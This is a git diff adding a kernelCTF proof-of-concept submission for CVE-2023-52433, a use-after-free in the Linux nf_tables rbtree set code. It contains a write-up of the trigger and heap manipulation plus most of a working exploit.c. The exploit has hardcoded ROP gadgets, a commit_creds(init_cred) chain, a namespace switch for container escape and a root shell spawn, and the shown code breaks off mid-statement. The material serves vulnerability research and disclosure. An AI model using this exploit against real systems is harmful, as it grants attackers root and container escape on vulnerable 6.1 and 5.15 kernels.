diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/docs/exploit.md new file mode 100755 index 000000000..a2384d70d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/docs/exploit.md @@ -0,0 +1,284 @@ +# Exploit detail about CVE-2023-52433 +If you want to get some base information about CVE-2023-52433, please read [vulnerability.md](./vulnerability.md) first. + +The cause and exploitation of CVE-2023-52433 are essentially the same as those of CVE-2024-26581. You can also understand CVE-2023-52433 by reading the [documentation](https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2024-26581_lts_cos_mitigation/docs/vulnerability.md) for CVE-2024-26581. + +## Background +nftables is a netfilter project that aims to replace the existing {ip,ip6,arp,eb}tables framework, providing a new packet filtering framework for {ip,ip6}tables, a new userspace utility (nft) and A compatibility layer. It uses existing hooks, link tracking system, user space queuing component and netfilter logging subsystem. + +It consists of three main components: kernel implementation, libnl netlink communication and nftables user space front-end. The kernel provides a netlink configuration interface and runtime rule set evaluation. libnl contains basic functions for communicating with the kernel. The nftables front end is for user interaction through nft. + +nftables implements data packet filtering by using some components like `table`, `set`, `chain`, `rule`. + +## Cause anaylysis +In function `__nft_rbtree_insert`, when it calls `nft_rbtree_gc_elem`, it checks whether an element has timed out and should call gc through the following code: +```c + /* perform garbage collection to avoid bogus overlap reports. */ + if (nft_set_elem_expired(&rbe->ext)) { + err = nft_rbtree_gc_elem(set, priv, rbe, genmask); + if (err < 0) + return err; +``` +However, the check here does not consider whether the corresponding element is newly added in the current batch instruction. This means that if another instruction fails and a rollback occurs, the added element to be rolled back may have been released by the GC, resulting in a use-after-free issue. + +The lack of this check may result in use-after-free of the set element pointed to by prev. The check added by [patch](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=2ee52ae94baabf7ee09cf2a8d854b990dac5d0e4) (`nft_set_elem_active(&rbe_prev->ext, cur_genmask)`) means checking whether prev setelem is added by the current batch command. Without this check, when prev setelem is added by the current batch command and other commands have errors, triggering the command rollback mechanism of nftables, `nf_tables_abort` will eventually be called to roll back the executed command. At this time, two deletion operations will be generated for prev setelem, and the paths are: +1. `nft_rbtree_gc_elem` -> `nft_trans_gc_queue_sync_done` -> `nft_trans_gc_trans_free` -> `nf_tables_set_elem_destroy` +2. `nf_tables_abort` -> `nf_tables_abort_release` -> `nft_set_elem_destroy` + +## Triggering the vulnerability (condensed) + +- Create an rbtree set **A** with `NFT_SET_TIMEOUT` and `NFT_SET_INTERVAL`. +- **In a single batch**, send steps 2–5 together: + - Add element **D** to **A** with `NFTA_SET_ELEM_EXPIRATION` and `NFTA_SET_ELEM_TIMEOUT` (short timeout). + - Add padding/delay operations so **D** expires. + - Add another element **E** with `NFT_SET_ELEM_INTERVAL_END` (this path reaches `nft_rbtree_gc_elem`). + - Send an invalid command to trigger `__nf_tables_abort` (batch rollback). + +In this write-up, the target object size is constrained so allocations land in **`kmalloc-256`**. + +### Clear workflow +```c +Batch Begin + ↓ +[1] Add element D (timeout=SHORT) + ↓ +[2] Add padding operations (delay) + ↓ + ... time passes, D expires ... + ↓ +[3] Add element E + ├→ __nft_rbtree_insert(E) + │ └→ overlap detection walk + │ └→ finds D expired + │ └→ nft_rbtree_gc_elem(D) ← FREE #1 + ↓ +[4] Invalid operation + └→ __nf_tables_abort() + └→ rollback all batch ops + └→ nft_set_elem_destroy(D) ← FREE #2 (UAF!) +``` + +## Exploit it in mitigation slot + + +Exploiting CVE-2024-52433 is similar to exploiting CVE-2024-26581. Due to this [patch](https://github.com/thejh/linux/commit/5437982404c326744b3921de112ec1654fc6d20b), we cannot simply exploit the heap vulnerability. Instead, we need to use the `rbtree_remove` function of rbtree to insert the released element into the node of rebtree, just like CVE-2024-28581. + +In this article, we will only focus on the different parts of the two exploits, namely how to construct an rbtree and finally place a freed element in the rbtree. + + +In the process of removing a node from an rbtree, there are the following scenarios: if the node is the left child of its parent and has a non-empty left child node while its right child node is empty, the parent's left child node is replaced with its own left child node. If the node is the right child of its parent and has a non-empty right child node while its left child node is empty, the parent's right child node is replaced with its own right child node. + +Based on the above characteristics, I exploit CVE-2023-52433 by following these two key steps: +```c + //step1: prepare env + uint64_t timeout_long = 0xffff000000000000; //Long timeout value, avoid get timeout when we exploit + uint64_t timeout_short = 0x0100000000000000; //Short timeout value, easily get timeout + //init rbtree first + new_set_rbtree_for_timeout(socket,table, rbtree_set, NFT_OBJECT_CT_EXPECT,0x40); + *key1 = 0x90; + msg_list[0] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, timeout_long); + *key1 = 0x80; + msg_list[1] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, timeout_long); + *key1 = 0x88; + msg_list[2] = new_setelem_with_INTERVAL_END_msg(table, rbtree_set, key1, 0x40); + //step2: trigger the vul + //Now trigger the vul. We will insert the 0x60 set element in rbtree set after it was freed + *key1 = 0x70; + msg_list[0] = new_setelem_with_expiration_msg(table, rbtree_set, NULL, 0, obj_for_exp, key1, 0x40, NULL, 0, 0, timeout_short); + *key1 = 0x60; + msg_list[1] = new_setelem_with_expiration_msg(table, rbtree_set, pad, 0x60, obj_for_exp, key1, 0x40, NULL, 0, 0, timeout_long); + + char *tmp = malloc(0x20); + //These messages used to fill in the command to ensure that element has timed out when executing msg[0x3c2] + for(i=0;i<0x3c0;i++){ + snprintf(tmp, 0x20, "chain for pad %d", i); + msg_list[i+2] = new_chain_msg(table, tmp, 0); + } + *key1 = 0x78; + msg_list[0x3c2] = new_setelem_with_INTERVAL_END_msg(table, rbtree_set, key1, 0x40); //gc here + msg_list[0x3c3] = new_chain_msg("test","test",0); + send_msg_list(socket, msg_list, 0x3c4); + +``` +After step 1, we created 3 set elements(I mark these elements by the value in key. Here we assume they are `element A` (element marked by `*key1 = 0x90`), `element B` (element marked by `*key1 = 0x80`), `element C` (element marked by `*key1 = 0x88`)). Below are the positions of these three elements in rbtree: +``` + C(key=0x88) + / \ + / \ + A(key=0x90) B(key=0x80) +``` +That is, `element C` will be the root node, `element A` will be the left child of `element C`, and `element B` will be the right child of `element C`. + +And that's what will happen after we send the message list in step2: +- msg[0]: Insert an `element D` (marked by `*key1 = 0x70`). Note that the timeout of `element D` is short to ensure that `element D` has timed out when `msg[0x3c2]` is executed. After inserting element D, the rbtree will look like this: + +``` + C(key=0x88) + / \ + / \ + A(key=0x90) B(key=0x80) + \ + \ + D(key=0x70) +``` +- msg[1]: Insert an `element E` (marked by `*key1 = 0x60`). After inserting element D, the rbtree will look like this: + +``` + C(key=0x88) + / \ + / \ + A(key=0x90) D(key=0x70) + / \ + / \ + B(key=0x80) E(key=0x60) +``` +- msg[2-0x3c1]: These messages used to fill in the command to ensure that `element D` has timed out when executing `msg[0x3c2]` +- msg[0x3c2]: Insert an `element F`(marked by `*key1 = 0x78`) into `rbtree_set` with triggering `nft_rbtree_gc_elem`. Finally the `element C` we created in step1 and the `element D` (because of time out) we create in `step2 msg[0]` will be removed by `rb_erase` and destroy by `nft_set_gc_batch_complete`. After that, the rbtree will look like this: +``` + B(key=0x80) + / \ + / \ + A(key=0x90) E(key=0x60) + / + / + F(key=0x78) +``` +- msg[0x3c3]: Error message and finally trigger `__nf_tables_abort`. All previous messages will be rolled back: + - The `element F` created in msg[0x3c2] will be removed by function `nft_rbtree_remove` and will be freed by function `nft_set_elem_destroy`. After that, the rbtree will look like this: +``` + B(key=0x80) + / \ + / \ + A(key=0x90) E(key=0x60) +``` + + +- - The `element E` created in msg[1] will be removed and freed. After that, the rbtree will look like this: +``` + B(key=0x80) + / + / + A(key=0x90) +``` +- - The `element D` created in msg[0] will be removed by function `nft_rbtree_remove` and will be freed by function `nft_set_elem_destroy` again! After we call `rb_erase` for `element D` when handling msg[0x3c2], the node struct of `element D` still looks like: +``` + B(key=0x80) + \ + \ + D(key=0x70) + \ + \ + E(key=0x60) +``` +- - So the second time `rb_erase` is called on `element D`, it will replace `element E` to the right child node of `element D`'s parent node again! This means that we reinserted the `element E` that was about to be freed into the rbtree! After this, we get a UAF on `element E`! After that, the rbtree will look like this: +``` + B(key=0x80) + / \ + / \ + A(key=0x90) E(key=0x60) +``` + + +After that, we can complete the exploit through the different sizes of the setelement of different sets. Here are the complete steps: + +- 1. Construct an rbtree that meets the requirements +- 2. The vulnerability is triggered by the method mentioned above, and finally a released `element E` will be inserted into rbtree. +- 3. Create an `element F` of a pipapo set to get the heap of the `element E` back. Because the `nft_set_ext` offset in `nft_rbtree_elem` and `nft_pipapo_elem` is different, we can fake the `ext` in `nft_rbtree_elem` by filling some fields of `ext` in `nft_pipapo_elem` (just like some type confusion exploits). + ```c + struct nft_pipapo_elem { + struct nft_set_ext ext; + }; + + struct nft_rbtree_elem { + struct rb_node node; + struct nft_set_ext ext; + }; + + ``` + The key point is to forge NFT_SET_EXT_USERDATA and udata_size, which represents the length of udata, because we need to leak information through out-of-bounds reading of udata. + ```c + //step 3 + //Now we have a free setelem in rbtree_set + //We pad some parts of the set element, which is some fake part of set element of rbtree_set + *(uint64_t *)&key[12] = 0x3000000000006000;//NFT_SET_EXT_KEY=0x60, NFT_SET_EXT_USERDATA=0x30 + *(uint64_t *)&key[20] = 0; + *&key[60] = 0xff;//fake udata_size + *(uint64_t *)&pad[7] = 0x70; //fake key + new_setelem_with_expr(socket, table, pipapo_set, pad, 0x70, obj_for_exp, key, 0x40, NULL, 0); + ``` +- 4. Create some bitmap elements to ensure that when reading udata out of bounds, you can read an element pointer(because the head of `nft_bitmap_elem` will save a doubly linked list): + ```c + struct nft_bitmap_elem { + struct list_head head; + struct nft_set_ext ext; + }; + ``` +- 5. Get `element E`. We will get the address of `nft_last_ops` and the address and the key of an `element G` of bitmap set. +- 6. Delete the `element G` we get in step 5. +- 7. Create some bitmap elements with our ROP gadget to get the heap of the `element G` back. +- 8. Delete the `element F` +- 9. Create an `element H` of a pipapo set to get the heap of the `element E` back(just like step 3). This time we hijack RIP by forging NFT_SET_EXT_EXPRESSIONS and nft_expr: + ```c + *(uint64_t *)&key[12] = 0x3000000000007800;//NFT_SET_EXT_KEY=0x78, NFT_SET_EXT_USERDATA=0x30 + *(uint64_t *)&key[20] = 0x5058;//NFT_SET_EXT_EXPRESSIONS=0x58, NFT_SET_EXT_OBJREF=0x50 + + *(uint64_t *)&pad[0x17] = 0x10;//setelem->expr's size + *(uint64_t *)&pad[0x1f] = ops_addr+0x20;//setelem->expr[0]->ops + *(uint64_t *)&pad[0x27] = kernel_off + 0xffffffff8195e9f0;//pop rsp; ret stack migration second + *(uint64_t *)&pad[0x2f] = ops_addr+0x20; + *(uint64_t *)&pad[0x37] = 0x70; //fake key + ``` +- 10. Get `element E`. We will hijack RIP, perform stack migration, and finally jump to the ROP gadget to get the root shell: + ```c + static int nf_tables_fill_expr_info(struct sk_buff *skb, + const struct nft_expr *expr) + { + if (nla_put_string(skb, NFTA_EXPR_NAME, expr->ops->type->name)) + goto nla_put_failure; + + if (expr->ops->dump) { + struct nlattr *data = nla_nest_start_noflag(skb, + NFTA_EXPR_DATA); + if (data == NULL) + goto nla_put_failure; + if (expr->ops->dump(skb, expr) < 0) //we hijack RIP here + goto nla_put_failure; + nla_nest_end(skb, data); + } + ``` + +#### ROP detail + +The assembly code when calling `expr->ops->dump` is as follows: + +``` + mov rax, [rbp+0] + mov rsi, rbp + mov rdi, rbx + mov rax, [rax+40h] + call __x86_indirect_thunk_rax +``` +So the `rbp` is the pointer of the current `nft_expr`. We fill it by following: +```c + ... + *(uint64_t *)&pad[0x1f] = ops_addr+0x20;//setelem->expr[0]->ops + *(uint64_t *)&pad[0x27] = kernel_off + POP_RSP_RET;//stack migration second + *(uint64_t *)&pad[0x2f] = ops_addr+0x20; + ... +``` + +The first step of ROP start looks like this(We fill the ops pointer in step 8): +``` +expr->ops->dump(skb, expr) --> leave ; ret +``` +This will finally makes this happen: + +``` +rsp = element + 0x28 // mov rsp, rbp +rbp = *(element + 0x28) //pop rbp rbp=*(&setelem_data[0x28]) +rsp = element + 0x30 +rip = *(element + 0x30) //ret rip=*(&setelem_data[0x30]) +rsp = element + 0x38 +``` +After completing the stack migration, we can run ROPgadget and finally get the root shell. + diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/docs/vulnerability.md new file mode 100755 index 000000000..b08a83e50 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/docs/vulnerability.md @@ -0,0 +1,33 @@ +# Vulneribility +In function `__nft_rbtree_insert`, when it calls `nft_rbtree_gc_elem`, it checks whether an element has timed out and should call gc through the following code: +```c + /* perform garbage collection to avoid bogus overlap reports. */ + if (nft_set_elem_expired(&rbe->ext)) { + err = nft_rbtree_gc_elem(set, priv, rbe, genmask); + if (err < 0) + return err; +``` +However, the check here does not consider whether the corresponding element is newly added in the current batch instruction. This means that if another instruction fails and a rollback occurs, the added element to be rolled back may have been released by the GC, resulting in a use-after-free issue. + + +## Requirements to trigger the vulnerability + - Capabilities: `CAP_NET_ADMIN` capability is required. + - Kernel configuration: `CONFIG_NETFILTER`, `CONFIG_NF_TABLES` + - Are user namespaces needed?: Yes + +## Commit which introduced the vulnerability + - [commit c9e6978e2725a7d4b6cd23b2facd3f11422c0643](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/net/netfilter/nft_set_rbtree.c?id=c9e6978e2725a7d4b6cd23b2facd3f11422c0643) + +## Commit which fixed the vulnerability +- [commit 2ee52ae94baabf7ee09cf2a8d854b990dac5d0e4](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=2ee52ae94baabf7ee09cf2a8d854b990dac5d0e4) + +## Affected kernel versions +- 6.1.9 - 6.1.56 +- 5.15.91 - 5.15.134 + +## Affected component, subsystem +- net/netfilter (nf_tables) + +## Cause +- UAF + diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/.exploit.c.swp b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/.exploit.c.swp new file mode 100644 index 000000000..4de02605f Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/.exploit.c.swp differ diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/Makefile b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/Makefile new file mode 100755 index 000000000..4ff1fc95f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/Makefile @@ -0,0 +1,9 @@ +exploit: + gcc -o exploit exploit.c -I/usr/include/libnl3 -lnl-nf-3 -lnl-route-3 -lnl-3 -static +prerequisites: + sudo apt-get install libnl-nf-3-dev +run: + ./exploit + +clean: + rm exploit \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/README b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/README new file mode 100755 index 000000000..e1e03f0bb --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/README @@ -0,0 +1,2 @@ +Exploit for kctf mitigation-v3-6.1.55 +Run command "nsenter --target 1 -m -p" after run the poc. diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/chain.h b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/chain.h new file mode 100755 index 000000000..6185425a7 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/chain.h @@ -0,0 +1,22 @@ +struct nlmsghdr * new_chain_msg(char *table_name, char *chain_name, int if_binding){ + struct nl_msg * msg2 = nlmsg_alloc(); + struct nlmsghdr *hdr2 = nlmsg_put( + msg2, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + (NFNL_SUBSYS_NFTABLES << 8) | (NFT_MSG_NEWCHAIN),// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST|NLM_F_CREATE + ); + struct nfgenmsg * h2 = malloc(sizeof(struct nfgenmsg)); + h2->nfgen_family = 2;//NFPROTO_IPV4; + h2->version = 0; + h2->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr2), h2, sizeof(struct nfgenmsg)); + nla_put_string(msg2, NFTA_CHAIN_TABLE, table_name); + nla_put_string(msg2, NFTA_CHAIN_NAME, chain_name); + if(if_binding>0){ + nla_put_u32(msg2, NFTA_CHAIN_FLAGS, htonl(NFT_CHAIN_BINDING)); + } + return hdr2; +} diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/exploit b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/exploit new file mode 100755 index 000000000..e62020517 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/exploit.c b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/exploit.c new file mode 100644 index 000000000..c08d80090 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2023-52433_mitigation/exploit/mitigation-v3-6.1.55/exploit.c @@ -0,0 +1,390 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "obj.h" +#include "setelem.h" +#include "table.h" +#include "set.h" +#include "chain.h" + +#define KEY_SIZE 0x40 +#define BITMAP_KEYSIZE 2 +#define PAD_SIZE 0x100 +#define TMP_BUF_SIZE 0x20 +#define NFT_LAST_OPS 0xFFFFFFFF82B28120 +#define LEAVE_RET 0xffffffff815e1163 +#define NFT_LAST_TYPE 0xFFFFFFFF83B64120 +#define POP_RDI_RET 0xffffffff8101a345 +#define INIT_CRED 0xFFFFFFFF83876960 +#define COMMIT_CREDS 0xFFFFFFFF811C55A0 +#define FIND_TASK_BY_VPID 0xFFFFFFFF811BBE60 +#define POP_RDI_R14_R13_R12_RBP_RBX_RET 0xffffffff8111915f +#define POP_RBP_RBX_RET 0xFFFFFFFF81119166 +#define OR_RDI_RAX_RET 0xFFFFFFFF81868295 //or rdi, rax ; test rdi, rdi ; setne al ; ret +#define POP_RSI_RET 0xffffffff8107d79e +#define INIT_PROXY 0xFFFFFFFF83876720 +#define SWITCH_TASK_NAMESPACES 0xFFFFFFFF811C3A30 +#define SWAPGS_RET 0xffffffff82192df6 +#define IRETQ 0xFFFFFFFF822011D7 +#define POP_RSP_RET 0xffffffff8195e9f0 + +char *setelem_udata = NULL; +uint64_t kernel_off = 0, ops_addr = 0; +struct nl_sock * socket2; +unsigned long user_cs,user_ss,user_rsp,user_rflags; +void shell(){ + printf("ret2usr success! uid : %d\n",getuid()); + char *args[] = {"/bin/sh", "-i", NULL}; + execve(args[0], args, NULL); +} + +static void save_state() { + asm( + "movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp),"=r" (user_rflags) : : "memory"); +} + +void pin_on_cpu(int cpu) { + cpu_set_t cpu_set; + CPU_ZERO(&cpu_set); + CPU_SET(cpu, &cpu_set); + if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) { + perror("sched_setaffinity()"); + exit(EXIT_FAILURE); + } + usleep(1000);//desc: give the scheduler time to apply the CPU affinity change. +} + +int setup_sandbox(void) { + if (unshare(CLONE_NEWUSER) < 0) { + perror("[-] unshare(CLONE_NEWUSER)"); + return -1; + } + if (unshare(CLONE_NEWNET) < 0) { + perror("[-] unshare(CLONE_NEWNET)"); + return -1; + } + pin_on_cpu(0); + return 0; +} + + + +void send_msg_list(struct nl_sock * socket, struct nlmsghdr **msg_list, int num){ + struct nl_msg * msg = nlmsg_alloc(); + struct nlmsghdr *hdr1 = nlmsg_put( + msg, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_BEGIN, // TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + struct nfgenmsg * h = malloc(sizeof(struct nfgenmsg)); + h->nfgen_family = AF_INET; + h->version = 0; + h->res_id = NFNL_SUBSYS_NFTABLES; + memcpy(nlmsg_data(hdr1), h, sizeof(struct nfgenmsg)); + struct nl_msg * msg3 = nlmsg_alloc(); + struct nlmsghdr *hdr3 = nlmsg_put( + msg3, + NL_AUTO_PORT, // auto assign current pid + NL_AUTO_SEQ, // begin wit seq number 0 + NFNL_MSG_BATCH_END,// TYPE + sizeof(struct nfgenmsg), + NLM_F_REQUEST + ); + uint32_t total_size = NLMSG_ALIGN(hdr1->nlmsg_len) + NLMSG_ALIGN(hdr3->nlmsg_len); + int i; + for(i=0;inlmsg_len); + } + char *buf = malloc(total_size); + memset(buf, 0, total_size); + memcpy(buf, hdr1, NLMSG_ALIGN(hdr1->nlmsg_len)); + char *off = buf + NLMSG_ALIGN(hdr1->nlmsg_len); + for(i=0;inlmsg_len)); + off = off + NLMSG_ALIGN(msg_list[i]->nlmsg_len); + } + memcpy(off, hdr3, NLMSG_ALIGN(hdr3->nlmsg_len)); + printf("send msg list total size : %ld\n",total_size); + int res = nl_sendto(socket, buf, total_size); + if (res < 0) { + printf("sending message failed\n"); + } +} + + +int nl_callback_get_setelem(struct nl_msg* recv_msg, void* arg) +{ + + struct nlmsghdr * ret_hdr = nlmsg_hdr(recv_msg); + struct nlattr * tb_msg[NFTA_SET_ELEM_LIST_MAX+1]; + memset(tb_msg, 0, NFTA_SET_ELEM_LIST_MAX * 8); + + if (ret_hdr->nlmsg_type == NLMSG_ERROR) { + return NL_STOP; + } + + struct nlattr *attr = (void *)ret_hdr + nlmsg_total_size(sizeof(struct nfgenmsg)); + int attrlen = ret_hdr->nlmsg_len - nlmsg_total_size(sizeof(struct nfgenmsg)); + nla_parse(tb_msg, NFTA_SET_ELEM_LIST_MAX, attr, attrlen, NULL); + char * table_name=NULL; + char * set_name=NULL; + + if (tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS]){ + struct nlattr * tb_msg2[NFTA_SET_ELEM_MAX+1]; + memset(tb_msg2, 0, NFTA_SET_ELEM_MAX * 8); + nla_parse_nested(tb_msg2, NFTA_SET_ELEM_MAX, tb_msg[NFTA_SET_ELEM_LIST_ELEMENTS],NULL); + + struct nlattr * tb_msg3[NFTA_SET_ELEM_MAX+1]; + memset(tb_msg3, 0, NFTA_SET_ELEM_MAX * 8); + nla_parse_nested(tb_msg3, NFTA_SET_ELEM_MAX, tb_msg2[1],NULL); + free(setelem_udata); + setelem_udata = malloc(nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + nla_memcpy(setelem_udata, tb_msg3[NFTA_SET_ELEM_USERDATA], nla_len(tb_msg3[NFTA_SET_ELEM_USERDATA])); + } + else + printf("No NFTA_SET_ELEM_LIST_ELEMENTS\n"); + return NL_OK; +} +//Step1: prepare env +void prepare_env(struct nl_sock *socket, char * table_name, char * rbtree_set_name, char *obj_for_exp_name, char *key){ + uint64_t * key1 = (uint64_t *)key; + uint64_t timeout_long = 0xffff000000000000; //Long timeout value, avoid get timeout when we exploit + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*3); + //init rbtree first + //Create the rbtree set + new_set_rbtree_for_timeout(socket, table_name, rbtree_set_name, NFT_OBJECT_CT_EXPECT,KEY_SIZE); + //Create element A + *key1 = 0x90; + msg_list[0] = new_setelem_with_expiration_msg(table_name, rbtree_set_name, NULL, 0, obj_for_exp_name, key1, KEY_SIZE, NULL, 0, 0, timeout_long); + //Create element B + *key1 = 0x80; + msg_list[1] = new_setelem_with_expiration_msg(table_name, rbtree_set_name, NULL, 0, obj_for_exp_name, key1, KEY_SIZE, NULL, 0, 0, timeout_long); + //Create element C + *key1 = 0x88; + msg_list[2] = new_setelem_with_INTERVAL_END_msg(table_name, rbtree_set_name, key1, KEY_SIZE); + send_msg_list(socket, msg_list, 3); + free(msg_list); +} + +#define TRIGGER_VUL_MSG_SIZE_MAX 0x3c4 +//Step2: trigger the vul +void trigger_vul(struct nl_sock *socket, char * table_name, char * rbtree_set_name, char *obj_for_exp_name, char *key, char *pad){ + uint64_t * key1 = (uint64_t *)key; + struct nlmsghdr **msg_list = malloc(sizeof(struct nlmsghdr *)*TRIGGER_VUL_MSG_SIZE_MAX); + uint64_t timeout_long = 0xffff000000000000; //Long timeout value, avoid get timeout when we exploit + uint64_t timeout_short = 0x0100000000000000; //Short timeout value, easily get timeout + //Now trigger the vul. We will insert the 0x60 set element(element E) in rbtree set after it was freed + //Create element D + *key1 = 0x70; + msg_list[0] = new_setelem_with_expiration_msg(table_name, rbtree_set_name, NULL, 0, obj_for_exp_name, key1, KEY_SIZE, NULL, 0, 0, timeout_short); + //Create element E + *key1 = 0x60; + msg_list[1] = new_setelem_with_expiration_msg(table_name, rbtree_set_name, pad, 0x60, obj_for_exp_name, key1, KEY_SIZE, NULL, 0, 0, timeout_long);//The 0x60 here has no specific meaning, it is just used to distinguish the slabs of element E and element D. + + char *tmp = malloc(TMP_BUF_SIZE); + //These messages used to fill in the command to ensure that element D has timed out when executing msg[TRIGGER_VUL_MSG_SIZE_MAX-2] + for(int i=0;iget, stack migration first + //ops->type + *(uint64_t *)&rop[0x78] = kernel_off + NFT_LAST_TYPE;//fake ops->type + //ROP gadget + *(uint64_t *)&rop[0x00] = kernel_off + POP_RDI_RET; + *(uint64_t *)&rop[0x08] = kernel_off + INIT_CRED;//rdi + *(uint64_t *)&rop[0x10] = kernel_off + COMMIT_CREDS;//commit_creds; + *(uint64_t *)&rop[0x18] = kernel_off + POP_RDI_RET; + *(uint64_t *)&rop[0x20] = 1;//rdi + *(uint64_t *)&rop[0x28] = kernel_off + FIND_TASK_BY_VPID; + //jmp to avoid ops->dump and ops->type + *(uint64_t *)&rop[0x30] = kernel_off + POP_RDI_R14_R13_R12_RBP_RBX_RET; + *(uint64_t *)&rop[0x38] = 0;//rdi + *(uint64_t *)&rop[0x68] = kernel_off + POP_RBP_RBX_RET; + *(uint64_t *)&rop[0x80] = kernel_off + OR_RDI_RAX_RET; + *(uint64_t *)&rop[0x88] = kernel_off + POP_RSI_RET; + *(uint64_t *)&rop[0x90] = kernel_off + INIT_PROXY;//rsi + *(uint64_t *)&rop[0x98] = kernel_off + SWITCH_TASK_NAMESPACES; + *(uint64_t *)&rop[0xa0] = kernel_off + SWAPGS_RET; + *(uint64_t *)&rop[0xa8] = kernel_off + IRETQ; + *(uint64_t *)&rop[0xb0] = (uint64_t)shell; + *(uint64_t *)&rop[0xb8] = user_cs; + *(uint64_t *)&rop[0xc0] = user_rflags; + *(uint64_t *)&rop[0xc8] = user_rsp;//|8; + *(uint64_t *)&rop[0xd0] = user_ss; +} + +void leak_info(struct nl_sock *socket, char * table_name, char * rbtree_set_name, char * pipapo_set_name, char *bitmap_set_name, char *obj_for_exp_name, char *key, char *pad){ + uint64_t * key1 = (uint64_t *)key; + //Step 3 + //Now we have a free setelem in rbtree_set + //Create an `element F` of a pipapo set to get the heap of the `element E` back. + //We pad some parts of the set element, which is some fake part of set element of rbtree_set + *(uint64_t *)&key[12] = 0x3000000000006000;//NFT_SET_EXT_KEY=0x60, NFT_SET_EXT_USERDATA=0x30 + *(uint64_t *)&key[20] = 0; + *&key[60] = 0xff;//fake udata_size + *(uint64_t *)&pad[7] = 0x70; //fake key + new_setelem_with_expr(socket, table_name, pipapo_set_name, pad, 0x70, obj_for_exp_name, key, KEY_SIZE, NULL, 0);//By calculation, the heap size of the pipapo set element created with a pad size of 0x70 belongs to the same slab as element E. + printf("Finish step3\n"); + //Step 4 + //Create some bitmap elements to ensure that when reading udata out of bounds, you can read an element pointer + uint16_t index_key; + + for(int i=0;i<0x200;i++){ + index_key = i; + new_setelem(socket, table_name, bitmap_set_name, pad, 0xc0, NULL, &index_key, BITMAP_KEYSIZE, NULL, 0, 0); //By calculation, the heap size of the bitmap set element created with a pad size of 0xc0 belongs to the same slab as element E. + } + printf("Finish step4\n"); + //Step 5 + //Get `element E`. We will get the address of `nft_last_ops` and the address and the key of an `element G` of bitmap set. + socket2 = nl_socket_alloc(); + if(nfnl_connect(socket2)<0){ + printf("nfnl_connect fail!\n"); + return 0; + } + nl_socket_modify_cb(socket2, NL_CB_MSG_IN, NL_CB_CUSTOM, nl_callback_get_setelem, NULL); + memset(key,0x41,KEY_SIZE); + *key1 = 0x70; + get_setelem(socket2, table_name, rbtree_set_name, key1, KEY_SIZE); + nl_recvmsgs_default(socket2); + printf("Finish step5\n"); + printf("%p\n", setelem_udata); + printf("leak ops: %llx\n", *(uint64_t *)(setelem_udata+0xf)); + printf("leak setelement->next of bitmap_set: %llx\n",*(uint64_t *)(setelem_udata+0xb7));//0xb7 = offset between the start of NFT_SET_EXT_USERDATA and struct nft_bitmap_elem->head.next + printf("key : %llx\n", *(uint16_t *)(setelem_udata+0xd3)+1);//0xd3 = offset between start of NFT_SET_EXT_USERDATA and struct nft_bitmap_elem->ext.NFT_SET_EXT_KEY + + kernel_off = *(uint64_t *)(setelem_udata+0xf) - 